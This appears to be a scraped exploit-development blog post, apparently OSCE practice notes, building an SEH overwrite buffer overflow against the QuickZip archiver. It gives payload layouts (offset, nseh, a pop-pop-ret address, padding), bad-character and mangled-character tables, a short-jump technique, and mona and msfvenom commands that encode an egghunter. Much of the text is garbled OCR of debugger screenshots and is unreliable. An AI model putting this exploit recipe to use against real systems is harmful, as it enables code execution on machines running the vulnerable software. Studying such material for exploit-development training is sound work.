OS: \nQSLR: False. Rebase: False. SafeSEH: False. OS: \nQSLR: False. Rebase: False. SafeSEH: False. OS: \nQSLR: False. Rebase: False. SafeSEH: False. OS: \nQSLR: False. Rebase: False. SafeSEH: False. OS: \n[QuickZip.exe] QSLR: False. \nQSLR: False. Rebase: False. SafeSEH: False. OS: \nQSLR: False. Rebase: False. SafeSEH: False. OS: \nRebase : \nFalse. \nFalse. \nFalse. \nFalse. \nFalse. \nRebase : \nFalse. \nFalse. \nFalse. \nFalse. \nFalse. ...-1 \n(C: \\Program Fill \n(C: \\Program Fill \n.0\u2014 (C: \\Progr \n(C: \\Program Fill \n(C: \\Program Fill \n(C: \\Program Fill \n(C: \\Program Fill \n(C: \\Program Fill \nFalse. ...-1 \nSafeSEH: False \n(C: \\Program Fill \n(C: \\Program Fill \n(C: \\Program Fill \n(C: \\Program Fill \n(C: \\Program Fill \nSafeSEH: False \n(C: \\Program Fill \n(C: \\Program Fill \nasciiprint.ascii [QuickZip.exe] QSLR: False. Rebase: False. SafeSEH: False. OS: False. ...-1 \n. Please wait while I'm processing \nDone. Only the first 20 pointers \nFound a total of 7973 pointers \nThis mona. \naction took \nall remaining results and writing everything to file. \nare shown here. For more pointers. open seh.txt. \n281000\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>offset = &#8220;A&#8221;*(298-4)nseh = &#8220;B&#8221;*4seh = &#8220;\\x33\\x28\\x42\\x00&#8221;&nbsp; &nbsp; &nbsp; # pop pop ret 00422833junk = &#8220;A&#8221;* (4064-298-4)<br>payload = offset + nseh + seh + junkpayload += &#8220;.txt&#8221;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Pass the exception to the application<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/eQPO1LuIkzx9qazAER4ZGSd2MQohrW0we2mOvawrtSptxVWaVSj2_f0W4SIMHTDxil7oMTLry7uFaFRM25OSDXFfWPc4etGBpQFlgXRxFCLc1Zkp-oyM0cczq8j-GpRm3mByuIdN\" alt=\"ntdll. \n00422834 \n00422835 \n53 \n00422838 \n00422839 \n00422839 \n0042283C \n00422843 \n00422845 \n0042284? \n0042284C \n00422851 \n00422856 \n00422858 \n00422859 \n0042285F \n00422864 \n00422866 \n00422868 \n00422869 \n0042286F \n00422874 \n00422875 \n004228% \n004228?? \n00422878 \n004228?F \n00422881 \n00422883 \nAddress \n00705000 \n00705010 \n00705020 \n00705030 \n00705040 \n00705050 \n00705060 \n00705070 \n00705080 \n00705090 \nOO?\u00d85\u00d8B\u00d8 \nOO?\u00d85\u00d8D\u00d8 \nOO?\u00d85\u00d8E\u00d8 \nOO?\u00d85\u00d8F\u00d8 \n00705100 \n00705110 \n00705120 \n00 \n00705130 \n00705140 \n00705150 \n00705160 \n00705170 \n00705180 \n00705190 \n&gt; \n&gt; \n. 74 oc \n. 8BD\u00d8 \n. 91 88BQ?1\u00d8\u00d8 \nHex dump \n. 59 \nC2 0400 \n. 56 \n. 8BD8 \n. 833D 88BQ?1\u00d8\u00d8 \n. B2 01 \n. 91 E8\u00d8142\u00d8\u00d8 \n. E8 9F2\u00d8FEFF \n. 93 88BQ?1\u00d8\u00d8 \n8BF3 \n. 8BD6 \n. 91 88BQ?1\u00d8\u00d8 \n. E8 44070000 \n. 85C0 \n. 8BD6 \n. 91 88BQ?1\u00d8\u00d8 \n. E8 28050000 \n90 \n833D 88BQ?1\u00d8\u00d8 \nPOP \nPOP \nREIN \n4 \nPUSH \nPUSH \nCNP \nDWORD PIR DS: \nJNZ \nSHORT QuickZip.\u00d8\u00d8422856 \nRegisters (3DNow! ) \nESP \nEBP \nESI \nEDI \nEIP \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n00422833 \n?C9\u00d832BC \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012F5B\u00d8 \n0012F5D\u00d8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n00422833 \nES 0023 \nCS 001B \nSS 0023 \n23 \n3B \nQuickZip.\u00d8\u00d8422833 \nntd11.?C9\u00d832BC \nQuickZip.\u00d8\u00d8422833 \nDL\u00bbI \nEQ*.DWORD \nDS: [4201E8] \nCALL \nQuickZ1p . \n\u2022 004\u00d848F\u00d8 \nMOU \nDWORD PIR \nDS : \nESI \n*ESI \nCALL \nQu \nJGE \nSHO \nCALL \nPOP \nPOP \nREIN \nNOP \nCNP \nDWO \nSHOR \n32bit \n32bit \n32bit \n32bit \n32bit \nNULL \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF) \nProgress \nProgress Log \nMessage . \nfile(s) not found \nERROR_FI \n46 \n64 \n48 \nEl \n01 \n03 \n66 \n69 \n20 \n34 \n34 \n10 \n30 \n(OO\u00d8\u00d8\u00d8\u00d8CE) \nRETURN to ntd11.?C9\u00d832Q8 \n&quot;BBBB3<B&quot; \nPointer to next \nSE handler \n&quot;BBBB3<B&quot; \nRETURN to \n&quot;BBBB3<B&quot; \nDO \n50 \n04 \n52 \n20 \n30 \n30 \n04 \n54 \n28 \n68 \n88 \n49 \n86 \nCB \nDE \n34 \n75 \n20 \n31 \n31 \n94 \nco \n94 \n10 \n94 \n94 \n41 \n41 \n40 \ncc \n76 \n24 \n49 \n61 \n32 \n32 \n40 \n40 \n20 \n40 \n15 \n40 \nID \n43 \n40 \n74 \n74 \n33 \n33 \n01 \n01 \n01 \n13 \n98 \n30 \n35 \n35 \n80 \nMOU \nMOU \n41 \n8B \n40 \n40 \n61 \n40 \n65 \n30 \n36 \n36 \n10 \n18 \nIF \n20 \n15 \n28 \nco \n00 \n20 \n30 \n01 \n01 \n01 \n01 \nCD \n02 \n04 \n45 \n65 \n30 \n38 \n38 \n10 \n10 \n30 \n30 \n9B \nCE \n2B \n72 \n72 \n30 \n39 \n39 \n80 \n80 \n40 \nDB \n40 \n49 \n72 \n72 \n30 \n41 \n40 \n41 \nIF \nIF \n15 \n15 \n94 \n03 \n03 \n66 \n72 \n72 \n30 \n43 \n43 \n80 \n30 \n20 \n30 \n30 \n30 \n20 \n44 \n44 \n74 \n83 \n40 \n40 \n8B \n20 \n8B \n45 \n40 \n45 \n30 \nIF \n30 \n15 \n30 \n30 \n.1&amp;.. . ene. urp \nPN\u00f6 . \nDC \nh\u00df11.Eoie.\u2022... \n00 \n85 . \nCO \n20 \nco \n46 \n46 \n73 \n01 \n73 \n01 \n73 \n01 \n73 \nClose \n0012F5C4 \n0012F5C8 \n0012F5CC \n0012F5D\u00d8 \n0012F5D4 \n0012F5D8 \n0012F5DC \n0012F5E\u00d8 \n0012F5E4 \n0012F5E8 \n0012F5EC \n0012F5F\u00d8 \n0012F5F4 \n0012F5F8 \n0012F5FC \n0012F6\u00d8\u00d8 \n0012F6\u00d84 \n0012F6\u00d88 \n0012F6\u00d8C \n0012F61\u00d8 \n0012F614 \n0012F618 \n0012F61C \n(3903298 \n012F698 \n012FBFC \n012F6B4 \nV012F66C \n0012F99\u00d8 \nY2\u00c9 \n?C9\u00d832BC \n0012FBFC \n0012F68\u00d8 \n713903279 \n0012F698 \n0012FBFC \n0012F6B4 \n0012F66C \n00422833 \n00000001 \n0012F698 \n0012FBFC \n?C92Q5QD \n0012F698 \n0012FBFC \n0012F6B4 \n0012F66C \n00422833 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 . . \n0012F698 \n0012F9QC \n?C913BC1 \nSEH \nrecord \n43 \n30 \n42 \n42 \n01 \n01 \n01 \n01 \n01 \n01 \nW4uc. \n. $@'Nan$+I nf . \n\u2022\u20141 nf . Error. i \nRunt ine error \nat 00000000. i L \n01234567899BCDEF \n01234567899BCDEF \n. . ctL\u00f6 . mos \nTije.. \nh\u00f6e.. \nQuickZip.\u00d8\u00d8422833 \n&quot;BBBB3<B&quot; \nRETURN to ntd11.?C92Q5QD \n&quot;BBBB3<B&quot; \nQuickZip.\u00d8\u00d8422833 \nRETURN to ntd11.?C913BC1 \nntd11.?C9\u00d83282 \nntd11.?C9\u00d8324? \nntd11.?C9\u00d8FE??\"\/><\/figure>\n\n\n\n<p>Shift + F7 for 3 times and we will move to nseh which is &#8216;\\x42&#8217;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/s4yU09S3ms1Ax1i2iYMQiLPYE5Q2g9zPPXYozEbVi5hfHuvOKyvL-ZlKrsA3qQdrDQuc_y-gzu1bxTcnyr8gp2PB9yKHFtbX5pFJxXmONY5gbaKPtiSwT6jZVjQclr2W1me3QpEu\" alt=\"0012FBFC \n0012FBFD \n0012FBFE \n0012FBFF \n0012FC\u00d8\u00d8 \n0012FC\u00d82 \n0012FC\u00d83 \n0012FC\u00d86 \n0012FC\u00d88 \n0012FC\u00d89 \n0012FC\u00d8Q \n0012FC\u00d8C \n0012FC\u00d8E \n0012FC\u00d8F \n0012FC12 \n0012FC14 \n0012FC16 \n0012FC18 \n0012FC19 \n0012FCIQ \n0012FCIB \n0012FCID \n0012FCIE \n0012FC2\u00d8 \n0012FC22 \n0012FC24 \n0012FC26 \n0012FC28 \n0012FC2Q \nAddress \n00705000 \n00705010 \n00705020 \n00705030 \n00705040 \n00705050 \n00705060 \n00705070 \n00705080 \n00705090 \nOO?\u00d85\u00d8B\u00d8 \nOO?\u00d85\u00d8D\u00d8 \nOO?\u00d85\u00d8E\u00d8 \nOO?\u00d85\u00d8F\u00d8 \n00705100 \n00705110 \n00705120 \n00 \n00705130 \n00705140 \n00705150 \n00705160 \n00705170 \n00705180 \n00705190 \n42 \n42 \n42 \n42 \n3328 \n42 \n0040 \n1200 \n50 \n1200 \nCD E? \n0040 FC \n1200 \n24 FE \n1200 \n98 \n98 \n5B \n0030 \n44 \nHex dump \nINC \nINC \nINC \nINC \nINC \nQDD \nQDC \nntdll. \n'?C90 \nRegisters (3DNow! ) \nEBPDWORD PIR DS: \nBYTE DS: \nQLBYTE DS: \nPUSH \nCLD \nAL. BYTE DS: \nD*.DWORD PIR ES: [EDI ] \nQDD \nBYTE DS: \nProgress \nconman \nESP \nEBP \nESI \nEDI \nEIP \nPI \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n713903298 \n?C9\u00d832BC \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012F5C\u00d8 \n0012F698 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 \n0012FBFC \nES 0023 \nCS 001B \nSS 0023 \n23 \n3B \nntdll. \nntdll. \n32bit \n32bit \n32bit \n32bit \n32bit \nNULL \n713903298 \n?C9\u00d832BC \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF) \nO<FFFFFFFF) \nCWDE \nCWDE \nPOP \nQDD \nBYT \nESP \nJEC*Z \ns \nProgress Log \nMessage . \nfile(s) not found \nERROR_FI \n(OO\u00d8\u00d8\u00d8\u00d8CE) \n46 \nSEH \nrecord \nDO \n50 \n04 \n52 \n20 \n30 \n30 \n04 \n54 \n28 \n68 \n88 \n49 \n86 \nCB \nDE \n34 \n75 \n20 \n31 \n31 \n94 \nco \n94 \n10 \n94 \n94 \n41 \n41 \n40 \ncc \n76 \n24 \n49 \n61 \n32 \n32 \n40 \n40 \n20 \n40 \n15 \n40 \nID \n43 \n40 \n74 \n74 \n33 \n33 \n01 \n01 \n01 \n64 \n48 \nEl \n01 \n03 \n66 \n69 \n20 \n34 \n34 \n10 \n30 \n13 \n98 \n30 \n35 \n35 \n80 \nQDD \nQDD \nQDD \nQDD \nQDD \nQDD \n41 \n8B \n40 \n40 \n61 \n40 \n65 \n30 \n36 \n36 \n10 \n18 \nIF \n20 \n15 \n28 \nBYT \nBYT \nBYT \nBYT \nBYT \nBYT \nco \n00 \n20 \n30 \n01 \n01 \n01 \n01 \nCD \n02 \n04 \n45 \n65 \n30 \n38 \n38 \n10 \n10 \n30 \n30 \n9B \nCE \n2B \n72 \n72 \n30 \n39 \n39 \n80 \n80 \n40 \nDB \n40 \n49 \n72 \n72 \n30 \n41 \n40 \n41 \nIF \nIF \n15 \n15 \n43 \n30 \n42 \n42 \n01 \n01 \n01 \n01 \n01 \n01 \n94 \n03 \n03 \n66 \n72 \n72 \n30 \n43 \n43 \n80 \n30 \n20 \n30 \n30 \n30 \n.1&amp;.. . ene. urp \nPN\u00f6 . \nDC \nh\u00df11.Eoie.\u2022... \n00 \n85 . \nCO \n20 \nco \n46 \n46 \n73 \n01 \n73 \n01 \n73 \n01 \n73 \nClose \n0012F5D4 \n0012F5D8 \n0012F5DC \n0012F5E\u00d8 \n0012F5E4 \n0012F5E8 \n0012F5EC \n0012F5F\u00d8 \n0012F5F4 \n0012F5F8 \n0012F5FC \n0012F6\u00d8\u00d8 \n0012F6\u00d84 \n0012F6\u00d88 \n0012F6\u00d8C \n0012F61\u00d8 \n0012F614 \n0012F618 \n0012F61C \n0012F62\u00d8 \n0012F624 \n0012F628 \n0012F62C \n012F66C \n012F99\u00d8 \nY2\u00c9 \nC9\u00d832BC \n012FBFC \nV012F68\u00d8 \n713903279 \n0012F698 \n0012FBFC \n0012F6B4 \n0012F66C \n00422833 \n00000001 \n0012F698 \n0012FBFC \n?C92Q5QD \n0012F698 \n0012FBFC \n0012F6B4 \n0012F66C \n00422833 \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 . . \n0012F698 \n0012F9QC \n?C913BC1 \n?FFD5\u00d8\u00d8\u00d8 . P20 \n00000002 \ne... \noo\u00f8\u00f8\u00f8\u00f8\u00f8\u00f8 . . \n00000001 \nPointer to next \nSE handler \n&quot;BBBB3<B&quot; \nRETURN to \n&quot;BBBB3<B&quot; \n20 \n44 \n44 \n74 \n83 \n40 \n40 \n8B \n20 \n8B \n45 \n40 \n45 \n30 \nIF \n30 \n15 \n30 \n30 \nW4uc. \n. $@'Nan$+I nf . \n\u2022\u20141 nf . Error. i \nRunt ine error \nat 00000000. i L \n01234567899BCDEF \n01234567899BCDEF \n. . ctL\u00f6 . mos \nTije.. \nh\u00f6e.. \nQuickZip.\u00d8\u00d8422833 \n&quot;BBBB3<B&quot; \nRETURN to ntd11.?C92Q5QD \n&quot;BBBB3<B&quot; \nQuickZip.\u00d8\u00d8422833 \nRETURN to ntd11.?C913BC1 \nntd11.?C9\u00d83282 \nntd11.?C9\u00d8324? \nntd11.?C9\u00d8FE??\"\/><\/figure>\n\n\n\n<h2>Bad Characters<\/h2>\n\n\n\n<p>!mona bytearrayPython:for i in range(0,256): print(&#8216;\\\\x%02X&#8217; % i, end=&#8221;)Bash:for i in {0..255}; do printf &#8220;\\\\\\x%02x&#8221; $i;done<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>offset = &#8220;A&#8221;*298nseh = &#8220;B&#8221;*4seh = &#8220;C&#8221;*4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bad = &#8220;\\x00&#8230;..\\xff&#8221;junk = &#8220;A&#8221;* (4064-298-4-4-len(bad))<br>payload = offset + nseh + seh + junkpayload += &#8220;.txt&#8221;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>!mona bytearray!mona compare -f bytearray.bin -a [address where array begins]<\/p>\n\n\n\n<h2>Mangled Characters<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>\\x80 &nbsp; C7\\x81 &nbsp; FC\\x82 &nbsp; E9\\x83 &nbsp; E2\\x84 &nbsp; E4\\x85 &nbsp; E0\\x86 &nbsp; E5\\x87 &nbsp; E7\\x88 &nbsp; EA\\x89 &nbsp; EB\\x8a &nbsp; E8\\x8b &nbsp; EF\\x8c &nbsp; EE\\x8d &nbsp; EC\\x8e &nbsp; C4\\x8f &nbsp; C5<\/td><td>\\x90 &nbsp; C9\\x91 &nbsp; E6\\x92 &nbsp; C6\\x93 &nbsp; F4\\x94 &nbsp; F6\\x95 &nbsp; F2\\x96 &nbsp; FB\\x97 &nbsp; F9\\x98 &nbsp; FF\\x99 &nbsp; D6\\x9a &nbsp; DC\\x9b &nbsp; A2\\x9c &nbsp; A3\\x9d &nbsp; A5\\x9e &nbsp; 50\\x9f &nbsp; 83<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/fIaDj0muPyP9RmsIyJFKBJFinT_EVBa2ZHV34Ju6-NrR-IU9hVxpxR6BMf9xROE9Xuep5E1ZP84Fvd48bWx9OWgXf0Kp4ZXARBMrLt9X5Uv2UQJLt1RqhDVAfd5FJYc2DL6o0xbZ\" alt=\". 8\u03924\u03b2 \n85D2 \n. 8\u0392\u03b28 \n. \u039f\u03a184 \n. 53 \n. 56 \n. 57 \n. 89C3 \n. 89D6 \n. 8\u039279 \n. 8\u039256 \n. 39CE \n6EPDPPPP \nPTR \nDS : [\u0395\u03c1\u03c7-4] \nRETN \nSHORT QuickZip.00405AC7 \nPTR \nQuickZip.00405800 \n\u0395\u0399\u039c \nESP \n\u0395\u0392\u03a1 \n\u0395\u03c2 \u0399 \nEDI \n\u0395\u0399\u03a1 \n\u03a1\u0399 \n# ! \/usr\/hin\/ pyt.han \nRegisteps \nheadEE 1 \u2014 \n\u0399: \u03a7\u039f\u03a0' \nheadEE 2 \n0012\u03a19 \nheadEE 3 \nDS : [EC#-4] \nDS: [ESl-4] \n414141 \n414141 \n414141 \n\u03b2\u03b212\u03a19 \nCS \nC.lme \n&gt; \n. 8\u0392\u03b23 \nHex dump \nESI \nEDI D&quot;ORD PTR \nPTR \n\u0395\u0399\u039c \nProgress \nSHOR \nPragress Lag \n\u0395\u0399\u039c \n\u0395\u0399\u039c \n\u03a1\u039f\u03a1 \n\u03a1\u039f\u03a1 \n\u03a1\u039f\u03a1 \nMessage . \nRETN \naffset. \u2014 \n00405\u03c1\u03c1\u03b9::: \nnseh = \u201c \nAddpess \n\u03b2\u03b212\u03a1\u0392\u03b2\u03b2 \n\u03b2\u03b212\u03a1\u03921\u03b2 \n\u03b2\u03b212\u03a1\u03922\u03b2 \n\u03b2\u03b212\u03a1\u03923\u03b2 \n\u03b2\u03b212\u03a1\u03924\u03b2 \n\u03b2\u03b212\u03a1\u03925\u03b2 \n\u03b2\u03b212\u03a1\u03926\u03b2 \n\u03b2\u03b212\u03a1\u03927\u03b2 \n\u03b2\u03b212\u03a1\u03928\u03b2 \n\u03b2\u03b212\u03a1\u03929\u03b2 \n\u03b2\u03b212\u03a1\u0392\u0392\u03b2 \n0012PBCO \n0012PBDO \n\u03b2\u03b212\u03a1\u0392\u0395\u03b2 \n\u03b2\u03b212\u03a1\u0392\u03a1\u03b2 \n0012PCOO \n3(\u0392.\u03c1\u03b7\u03b5. \n\u03c1\u03b7 \u03b5. $ \u0399 \u03b5. 0DlT \n0012PC10 \n0012PC20 \n0012PC30 \n0012PC40 \n0012PC50 \n0012PC60 \n. 0DlT \n0012PC70 \n. 89\u03a1\u03b2 \n. 8\u03924\u0395 PC \n8\u039213 \n. \u03958 44D4PPPP \nSEh = ' \nxBh \n(4064-294-4-4) \npaylaad = \naffset. + nseh + SEh + jun]T \npaylaad += \n\u201c . CXC\u201d \nfile[s] not faund \nheadEE 1 + paylaad + headEE \n2 \n+ paylaad + headEE \n3 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n33 \n40 \n80 \n98 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n28 \n66 \n98 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n42 \n12 \n12 \n12 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n40 \n24 \n73 \n33 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n88 \n44 \n\u039c\u03bf\u03c5 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n12 \n12 \n46 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n50 \n98 \n68 \n80 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n98 \n44 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n12 \n12 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n71 \nCD \n68 \n24 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n44 \n81 \n98 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n70 \n14 \n12 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n01 \nuse \n\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397\u0397 \n2 \nShift+P7\/P8\/P9 \n\u03b2\u03b212\u03a1994 \n\u03b2\u03b212\u03a1998 \n0012P99C \n0012P9AC \n\u03b2\u03b212\u03a19\u0392\u03b2 \n\u03b2\u03b212\u03a19\u03924 \n\u03b2\u03b212\u03a19\u03928 \n0012P9BC \n0012P9CO \n0012P9C4 \n0012P9C8 \n0012P9CC \n0012P9DO \n0012P9D4 \n0012P9D8 \n0012P9DC \n\u03b2\u03b212\u03a19\u0395\u03b2 \n\u03b2\u03b212\u03a19\u03954 \n\u03b2\u03b212\u03a19\u03958 \n0012P9EC \npass except \nexplait. \nt.EY.PY \n\u039f\u03953443\u03b2 \n0543749 \n\u201e012PBPC \n005437DE \n\u03b2\u03b212\u03a1\u0392\u03a14 \n0012PA2C \n7C90E920 \n0DlT. \n171 . \nRETIJRN to QuickZip.00543749 \nPointel\u2022' to next SEH pecopd \nSE handlel\u2022' \nntd11.7C90E920 \nQuickZip.0040D578 \n\u03c5 \u03af\u03bf lation &quot;hen \nUntitled - Notepad \n\\\u03c7\u03920 \n\\\u03c7\u03921 \n\\\u03c7\u03922 \u03959 \n\\\u03c7\u03924 \n\\\u03c7\u03925 \u0395\u039f \n\\\u03c7\u03926 \u03955 \n\\\u03c7\u03927 \u03957 \n\\\u03c7\u0392\u0392 \u0395\u0391 \n\\\u03c7\u03929 \u0395\u0392 \n\\XBa \u0395\u0392 \npeading [4141413D] - \nto \nPaused\"\/><\/figure>\n\n\n\n<h2>JMP BACK<\/h2>\n\n\n\n<p>\\9f is mangled to \\x83 which is -125When we use nseh = \\x71\\x9f\\x70\\x9f, before the JMP<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/ZTIyyRxpj4iXWmpaBSmh08-RMW0UmHigptZKVEgLDTloFv-srepkWyc0B6scB_Bnkwv1YwQB3XB1d_iJ3akdwa7UcJQiHwk77QU6r-5QjD0241J73lTU1PTLZoqarVQFL4c06pZ2\" alt=\"0012FBFC \n0012FBFE \n0012FC\u00d8\u00d8 \n0012FC\u00d82 \n0012FC\u00d83 \nBYTE DS: \n0012FC\u00d86 \n0012FC\u00d88 \n0012FC\u00d89 \n0012FC\u00d8Q \n0012FC\u00d8C \n83 \n3328 \n42 \n0040 FC \n1200 \n50 \n1200 \nCD E? \nJNO \nSHORT 0012FB81 \nSHORT 0012FB83 \nEBP*DWORD PIR DS: \nQDD \nPUSH \nCLD \nPIR \nPIR\"\/><\/figure>\n\n\n\n<p>After the JMP<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/Q-EahazFNkLrBxlvTBUYnlu7TGR9fxzwTt0HoSLMreNMO9MLnHO1FU_55cUd3fFcLpoidZeuJ1DgJS0dqsDFbdmyX_lVJ9cve7sPVh1j3CZYGkazHKdYzakghBqr7hQ00BypccHM\" alt=\"0012FB81 \n0012FB82 \n0012FB83 \n0012FB84 \n0012FB85 \n0012FB86 \n0012FB8? \n0012FB88 \n0012FB89 \n0012FB8Q \n0012FB8B \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \n41 \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nntdll. \n'?C90\"\/><\/figure>\n\n\n\n<p>Address Difference: 0012FBFC &#8211; 0012FB81 = 7B (123 in decimal)&nbsp;Not 125 since we use 2 bytes with JNO<br>To make a checksum, divide offset as &#8220;A&#8221;*171 + &#8220;B&#8221;*123 and after JNO, we will jump into the beginning of B&#8217;s<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/6ZVa6QlVe5kJiWI9j0kapuOEY5VeXidgUjyw-K1_heAcSs8lgP-DdlxsZAdFJfvynBKCgGJp_xWaiIdZyntdougjXar4w6vCM4YVfPz_Bw86w5sMCnwJuV70OyplOeivsstNWSnA\" alt=\"File View Debug Plugins \nImmLib \nOptions Window \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nINC \nHelp \n-lobs \nw \nh \nC \nroot@kalisa: Ihome\/kalisa\/OSCE\/vuln-apps\/quickzi \nP \noffset \u2014 \n0012FB?B \n0012FB?C \n0012FB?D \n0012FB?E \n0012FB?F \n0012FB8\u00d8 \n0012FB81 \n0012FB82 \n0012FB83 \n0012FB84 \n0012FB85 \n0012FB86 \n0012FB8? \n41 \n41 \n41 \n41 \n41 \n41 \n42 \n42 \n42 \n42 \n42 \n42 \n42 \nnseh = \nseh = \njunk = \nxgf&quot; \n(4064-2B4-4-4) \n#00422833 \npayload = \n&quot;A&quot; *171 + 123 + nseh + seh + junk \npayload += \n&quot; . txt&quot; \nexploit \nmyfile = \nheader 1 \n+ payload + header 2 + payload \nopen(ltry. z 1 pl,\"\/><\/figure>\n\n\n\n<p>Let&#8217;s check if Junk is still in memoryclick m and search for DDDDDDDDDDDDDDD<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/OOYMn62S2yYPfecIlA661BbjdSzBw7GgTdCypggBBI3FKdUT__uiAOITrFxpoaMW_IeRj6uUVmJfWbTwr9AuteCqNb_uHeVBmkFIiiMVF_Msg912MuiOpcxxEjOm2ygS54YLYNBR\" alt=\"S e c t io n \nCO n t in S \nType Access \n\u2160 n it ial Mapped as \n128 \n0 \n1B4 \nEnter binary string to search for \n\\Deu ice\\HarddiskUo lume1\\WI NDO \n\\Deu ice\\HarddiskUo lume1\\WI NDO \nAS \u56d7 | \nDDDDDDDDDDDDDDDDDDDI \n1 \\ NDO \n1 \\ NDO \n\u51f5 N ICO \u3014 \u3015 E \non a \u3014 \u3014 \non \nH \u3111 + 1 3 \n1 \\ NDO \nop \nEntire block \n1 \nCancel \nCase \nMessage \nfile(s) not found \nQuickZip \nQuickZip \nCODE \nQuickZip \nDQ T Q \nQuickZip \nBSS \nQuickZip \n. idata \nQuickZip \n. t Is \nQuickZip \n. rdata \nI g \nQuickZip \n. 10 C \n10 C at n S \n\u2160 g \nR \nQuickZip \n\u2160 g \nR \n\u00b7 PSYC \nS 0 e S \np \nR E \np \nR E \np \nR \np \nR E \nRW \nRW \nR\"\/><\/figure>\n\n\n\n<p>So we can still place our shellcode in memory<\/p>\n\n\n\n<h2>Egghunter &#8211; Encrypted<\/h2>\n\n\n\n<p>!mona egghuntersave it in egghunter.txtcat egghunter.txt | tr -d &#8216;&#8221;&#8216; | tr -d &#8216;\\n&#8217; | tr -d &#8216;\\\\x&#8217; | xxd -r -p &gt; egghunter.binmsfvenom -p generic\/custom PAYLOADFILE=egghunter.bin -e x86\/alpha_mixed BufferRegister=EDX -a x86 &#8211;platform Windows<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/dDRqXiBMTHVqw5TvKr5HjoLcBSaK6kcUMR7s9dGCTMgd8x4swBKY6SB7tDPY_OXP3znlFrnkO243ox3mo6yYA_ONo9Dx-79S845UIMvtKPCYyunIgiPrFancUTxcW7THKkwNMQ12\" alt=\"root.\u00dfkalisa. # \nhunt r . i n \nroot.\u00dfkalisa. \nfferRegister=EDX \u2014a x \u65e5 \n\u2014platform \nTdindows \nFound 1 compatible nc \u53e3 \u3014 rs \nAttempting to nc \u53e3 \u3014 payload With 1 iterations \u53e3 \ncat egghunter.txt | \u2014d \n\u2014p \nx86\/alpha mixed \n| tr \u2014d \u3001 n | tr \u2014d \u3001 \u3001 x | xxd \u2014r \u2014p &gt; egg \nPAYLOADFILE=egghunter.hin - x86\/alpha mixed Bu \nx86\/alpha mixed cc 